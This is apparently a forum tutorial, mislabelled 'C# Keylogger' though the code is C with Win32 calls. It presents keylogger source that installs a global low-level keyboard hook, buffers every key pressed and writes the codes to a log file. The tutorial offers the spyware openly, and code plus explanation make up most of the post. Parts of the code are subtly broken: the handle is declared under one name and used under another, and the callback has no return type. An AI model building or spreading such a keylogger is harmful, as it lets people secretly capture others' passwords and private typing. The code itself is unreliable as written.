C# Keylogger [Tutorial]

First lets create some variables

static HANDLE hLogFile; static BYTE sBuffer[512]; static ULONG dwBufferIndex = 0;

Next we will need to code our keyboard handle

CALLBACK KeyboardHook( IN int iCode, IN WPARAM wParam, IN LPARAM lParam ) { if (wParam == WM_KEYDOWN) { sBuffer[dwBufferIndex++] = ((LPKBDLLHOOKSTRUCT)lParam)->vkCode; printf("%lu", ((LPKBDLLHOOKSTRUCT)lParam)->vkCode); // check if buffer is full if (dwBufferIndex == sizeof(sBuffer) - sizeof(*sBuffer)) { ULONG dwBytesWritten; if (!WriteFile(hLog, sBuffer, dwBufferIndex, &dwBytesWritten, NULL)) { // you error handle } // resets buffers index dwBufferIndex = 0; } } return CallNextHookEx(NULL, iCode, wParam, lParam); }

From MSDN we can see that wParam is the key state and lParam points to the information we need (KBDLLHOOKSTRUCT). Now with the information needed we found out that our hook will be called when key is down and release and have to filter out key release. And since hooks are called parallel between processed and if we don’t call CallNextHookEx some of them might not receive the interrupt.

Now lets setup our variables and hook

if (INVALID_HANDLE_VALUE == (hLog = CreateFileW(L"log.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL))) { return -2; } MSG Msg; HHOOK hHook = SetWindowsHookExW(WH_KEYBOARD_LL, &KeyboardHook, NULL, 0); if (!hHook) { return -1; } while (GetMessageW(&Msg, NULL, WM_KEYFIRST, WM_KEYLAST)) { TranslateMessage(&Msg); DispatchMessageW(&Msg); }

The CreateFileW is self explanatory, the magic is SetWindowsHookEx and WH_KEYBOARD_LL. WH_KEYBOARD_LL is the id of “LowLevelKeyboardProc” aka. global keyboard hook, We will have to use SetWindowsHookEx so we can have more control. we will have to set hmod and dwThreadId to 0,. We are interested in dwThreadId argument which is the thread holding the hook but to use it we must set hmod to NULL, dwThreadId is going to be 0 so all threads are identified with the the hook procedure. And finally if you want to unhook the hook you can use UnhookWindowsHookEx. The GetMessage part is standard message handling, in the remarks it says “The possibility of a -1 return value in the case that hWnd is an invalid parameter” but we don’t have to worry about it here,

This code doesn’t log when CAPS or SHIFT is pressed and released, I’m just gonna show you simple example, also I suggest checking the state of CAPS and SHIFT before the hook using GetAsyncKeyState. There is much more I can explain but I don’t want to make this post long, just to tell the basics, for more details you will have to visit MSDN get very detailed information.

P.S. here is a list full with all virtual codes